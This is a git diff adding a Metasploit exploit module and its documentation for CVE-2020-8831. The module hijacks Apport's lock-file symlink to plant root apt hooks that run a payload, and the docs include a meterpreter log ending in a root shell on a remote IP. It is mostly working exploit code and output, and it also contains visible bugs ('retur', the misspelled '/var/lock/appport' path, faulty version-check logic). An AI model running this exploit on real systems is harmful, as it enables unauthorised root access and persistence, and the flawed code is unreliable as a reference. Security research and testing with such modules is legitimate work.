diff --git a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md new file mode 100644 index 0000000000000..7bad81885a37a --- /dev/null +++ b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md @@ -0,0 +1,101 @@ +## Description + + Apport is a utility for writing crash reports, and in versions <= 2.20.11 there + is a vulnerable `check_lock` function which suffers from the 'confused deputy + problem' and will inadvertently follow symbolic links from `/var/lock/apport/` + when writing lock files. Essentially, this vulnerability allows an attacker to + arbitrarily create root-owned, world-readable, writable, and executable files by + creating a symbolic link to `/var/lock/apport/` and then triggering a crash that + will be logged by apport. + + To achieve privilege escalation, this module first creates a symlink from `/var/lock/ + apport/` to `/etc/apt/apt.conf.d/`. It then triggers a crash, causing a + root-owned, world-readable, writable, and executable file, `/etc/apt/apt.conf.d/lock`, + to be written. Next, the module writes a payload, which by default is written to + `/home/ubuntu/`. + + An apt hook is a way of prepending commands to apt package operations. Using the + `/etc/apt/apt.conf.d/lock` file, we write our own apt hooks. This module will + trigger the payload on the following apt commands: `apt-get upgrade`, + `apt-get update`, and `apt-get install`. Once one of these commands is run, a new + root session will be spawned. + +## Vulnerable Application + + Apport versions <= 2.20.11 are vulnerable to symlink hijacking due to a vulnerable + `check_lock` function which will inadvertently follow symbolic links from `/var/lock/ + apport/`. This package can be installed with `sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb`. + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. Do: `use exploit/linux/local/cve_2020_8831_apport_symlink_privesc` + 4. Do: `set SESSION [SESSION]` + 5. Do: `check` + 6. Do: `run` + 7. You should get a new root session + +## Options + +### SESSION + + Which session to use, which can be viewed with `sessions` + +### PAYLOAD_FILENAME + + Name of the payload file which will be executed by the apt hook. Is random by + default. + +### HOOKPATH + + Path to the apt configuration directory, default is `/etc/apt/apt.conf.d/` + +### WRITABLE_DIR + + A directory we can write to, this is where the payload file will be written to. + Default is `/home/ubuntu`. + +## Advanced Options + +### REMOVE_LOCK_DIR + + When set to true the `/var/lock/apport/` directory will be removed if it already + exists. + +## Scenarios + +``` +msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > use exploit/multi/handler +[*] Using configured payload linux/x86/meterpreter/bind_tcp +msf6 exploit(multi/handler) > set rhost 18.212.162.161 +rhost => 18.212.162.161 +msf6 exploit(multi/handler) > +rmsf6 exploit(multi/handler) > run + +[*] Started bind TCP handler against 18.212.162.161:5555 +^C[-] Exploit failed [user-interrupt]: Interrupt +[-] run: Interrupted +msf6 exploit(multi/handler) > set lport 7777 +lport => 7777 +runmsf6 exploit(multi/handler) > run + +[*] Started bind TCP handler against 18.212.162.161:7777 +[*] Sending stage (1017704 bytes) to 18.212.162.161 +[-] Meterpreter session 4 is not valid and will be closed +[*] 18.212.162.161 - Meterpreter session 4 closed. +^C[-] Exploit failed [user-interrupt]: Interrupt +[-] run: Interrupted +msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +payload => linux/x64/meterpreter/bind_tcp +rmsf6 exploit(multi/handler) > run + +[*] Started bind TCP handler against 18.212.162.161:7777 +[*] Sending stage (3045380 bytes) to 18.212.162.161 +[*] Meterpreter session 5 opened (192.168.0.239:57606 -> 18.212.162.161:7777) at 2025-10-14 15:49:00 -0400 +meterpreter > shell +Process 5791 created. +Channel 1 created. +whoami +root +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb new file mode 100644 index 0000000000000..8dc1cd0f64d2d --- /dev/null +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -0,0 +1,196 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apport Symlink Hijacking Privilege Escalation', + 'Description' => %q{ + On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport versions <= 2.20.11 are vulnerable + to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, + an attacker who can create a symlink to a privileged directory via /var/lock/apport will be + able to create files with global 0777 permissions. This module exploits this weakness by creating a + symbolic link to /etc/apt/apt.conf.d/ to write a hook to apt-get which will trigger a root shell on the target. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maximilien Bourgeteau', # Discovery + 'gardnerapp', # Team Wild Star + 'bwatters-r7' # code review & testing + ], + 'References' => [ + [ + ['URL', 'https://nostarch.com/zero-day'], # pg. 59 + ['URL', 'https://ubuntu.com/security/CVE-2020-8831'], + ['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], + ['CVE', '2020-8831'], + ] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [ + [ + 'Linux_Binary', + { + 'Arch' => [ARCH_AARCH64, ARCH_X64] + } + ], + [ + 'Linux_Command', + { + 'Arch' => ARCH_CMD + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => '2020-04-02', + 'DefaultTarget' => 0, + 'Notes' => { + # After the module runs a legitimate user will notice that running `sudo apt-get upgrade` will lag as the payload runs + 'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS], + 'Reliability' => [UNRELIABLE_SESSION, FIRST_ATTEMPT_FAIL, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + register_options([ + OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), + OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']), + OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/home/ubuntu']) + ]) + + register_advanced_options([ + OptBool.new('REMOVE_LOCK_DIR', [false, 'When set to true /var/lock/apport/ will be removed if it exists.', false]) + ]) + end + + def check + # If you are testing the module apport needs to be reinstalled on boot every time with + # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb + + # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport + # The above must be run after each subsequent test! + return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' + + # Check apport version + if !command_exists?('apport-cli') + return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') + end + + # Make sure apt is all set. + # poached from modules/exploits/linux/apt_package_manager.rb + return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get') + return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) + + apport = cmd_exec('apport-cli --version').to_s + + return CheckCode::Detected('Unable to determine apport version') if apport.blank? + + apport_version = Rex::Version.new(apport.split('-').first) + + # :ubuntu_release => apport_version + vulnerable_releases = { + '20.04' => '2.20.11', # focal + '18.04' => '2.20.9', # bionic + '16.04' => '2.20.1', # xenial + '14.04' => '2.14.1' # trusty + } + + version = get_sysinfo[:version] + + vulnerable_releases.each_key do |k| + if version.include? k # if we have a vulnerable version of ubnutu + # get the corresponding version of apport and check for it + vuln_apport = Rex::Version.new(vulnerable_releases[k]) + if apport_version <= vuln_apport + vprint_good('Apport appears to be vulnerable') + return CheckCode::Appears + else # we do not have a vulnerable version of apport + retur CheckCode::Safe("Installed Apport version #{apport_version.version} is not vulnerable to CVE-202-8831") + end + else + return CheckCode::Safe("#{version} does not appear to be a vulnerable version of Ubuntu") + end + end + end + + # Crash Apport and hijack a symlink + # this will creat a world rwx /etc/apt/apt.conf.d/lock owned by root + def hijack_apport + print_status('Creating symlink...') + + remove_lock = datastore['REMOVE_LOCK_DIR'] + + if remove_lock + cmd_exec 'rm -rf /var/lock/appport' + elsif exists? '/var/lock/apport' + fail_with(Failure::BadConfig, + '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_DIR to true and rerun the module to remove this directory.') + end + + symlink_result = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport 2>&1").to_s + unless exists?('/var/lock/apport') + error_message = "Failed to create symlink /var/lock/apport -> #{datastore['HOOKPATH']}" + error_message = "#{error_message}: #{symlink_result.strip}" unless symlink_result.strip.empty? + fail_with(Failure::Unknown, error_message) + end + vprint_status "DEBUG: ln -s #{datastore['HOOKPATH']} /var/lock/apport" + vprint_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" + + # Create crash and trigger apport + print_status('Triggering crash...') + cmd_exec 'sleep 10s & kill -11 $!' + + vprint_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" + + @hook_file = "#{datastore['HOOKPATH']}lock" + + if exist?(@hook_file) + print_good("Successfully created #{@hook_file}") + else + fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}") + end + end + + def write_payload_and_hooks + # create the payload + if target.arch.first == ARCH_CMD + write_hooks(payload.encoded) + else + payload_dir = datastore['WRITABLE_DIR'] + payload_dir += '/' unless payload_dir.ends_with? '/' + payload_file = datastore['PAYLOAD_FILENAME'] + + @payload_dest = "#{payload_dir}#{payload_file}" + + upload_and_chmodx @payload_dest, generate_payload_exe + write_hooks(@payload_dest) + end + end + + # Maximize the number of apt commands our payload will run from + def write_hooks(payload) + hooks = %w[Update Upgrade Install].map { |cmd| %(APT::#{cmd}::Pre-Invoke {"setsid #{payload} 2>/dev/null &"};\n) } + hooks.each { |hook| append_file @hook_file, hook } + print_good 'The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)' + end + + def exploit + fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) + hijack_apport + + write_payload_and_hooks + end +end